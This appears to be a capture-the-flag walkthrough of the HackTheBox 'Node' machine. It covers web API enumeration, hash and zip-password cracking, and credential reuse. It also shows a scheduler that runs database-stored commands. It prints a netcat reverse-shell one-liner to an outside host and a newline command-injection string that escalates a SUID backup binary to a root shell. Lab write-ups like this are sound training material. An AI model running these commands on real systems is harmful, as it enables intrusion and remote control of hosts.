Node is a vulnerable machine, originally created for HackTheBox platform, designed by Rob Carr. Node has several privilege escalation paths and is more of a CTF style machine.
Arp-scan or netdiscover can be used to discover the leased IP address.
Port scans using nmap revealed a web application running on port 3000 and an SSH service. Website running on the target made no sense to me. I wasn’t able to figure out why this application existed in the first place. Nevertheless there was a login page in the application.
Enumeration and Initial Foothold
However, there was nothing of interest in the application from the context of a standard user. On checking the response from the API, we can be assured that none of the compromised users were admins.
On further enumeration, I was able to discover another API call to /api/users. And I was able to discover an additional hash, belonging to an admin user. Using the same online tool I cracked it.
Admin login allowed me to download some sort of backup which was 3MB+ in size. At first the downloaded file didn’t make much sense to me. It looked like base64 data on checking the contents. The decoded file was a zip archive which required a password for extraction. I used fcrackzip along with rockyou.txt word-list in Kali to discover the password. On unzipping the archive, I got the backup of the web application.
From the extracted files, I got the MongoDB connection string which had the password for mark user. I tried to SSH using the same credentials. However there was no user hash present in mark’s home folder.
Expressway to Root
The kernel version of the box was vulnerable to BPF privilege escalation exploit (EDB-44298). That was an instant root. However I was sure, this wasn't the only way to root the box.
More Enumeration and an insecure scheduler
On enumerating the running processes on the box, I saw another Node.JS application running on the context of tom user. I went on and checked the JS code of the new application.
So the scheduler app is connecting to the scheduler database using mark’s credentials. In nut shell, the application is periodically connecting to the database to retrieve the ‘cmd’ value from the ‘tasks’ collection. The ‘cmd’ value is executed using the exec function and the value is then removed from the database. So all we need to do is to write our payload onto the DB in the tasks collection. I wrote the reverse shell payload using netcat(nc had no -e support).
I got access as tom and the user hash was present in his home folder. e1156acc3574e04b06908ecf76be91b1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 443 >/tmp/f
Custom backup function
On enumerating the main application which allowed us to download the backup initially, I found that the application is using a backup binary behind the scenes to take a backup. On digging deeper , I found that it had SUID bit set and therefore will run with root privileges on invocation. However the backup binary required an access key to the presented which was hard-coded in the application(app.js).
So the syntax required(check the source code for clarity) for invoking the backup binary is /usr/local/bin/backup -q <backup_key> <directory_to_backup>.
Trying to backup /root or /etc folders will return an ASCII art instead of the backup. So I performed a strings analysis on the binary for clarity. Now with the string analysis data in hand, I can explain how the backup binary works.
- First it checks for the valid access token.
- For location /root and /etc it has a hardcoded base64 output.
- If the location is not /etc or /root it will create a temporary file on the /tmp folder.
- Then the specific location is zipped using the following command. /usr/bin/zip -r -P magicword %s %s > /dev/null. One of the %s is going to pass on the directory we passed as input to the backup binary. Any output is redirected to /dev/null.
- The archive file is then base64 encoded and printed onto the terminal.
Now this looks like a typical command injection scenario but indeed a very tricky one. I needed to get around the /dev/null redirection which will terminate all output. If I could pass on some command to the backup binary in quotes, it will pass the command onto the internal commands without immediate execution.
I used newline character to get around the /dev/null hurdle. My newline is going to break the single command into three commands. Third command ls >/dev/null will get executed only after /bin/bash thereby bypassing the restriction.
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /s"$(echo 'dds\n/bin/bash\nls')"
Root flag can be read from /root folder. 1722e99ca5f353b362556a62bd5e6be0
Well, that was a hard root to come by. Node was a great machine. Yet another CTF style machine but I loved the privilege escalation path.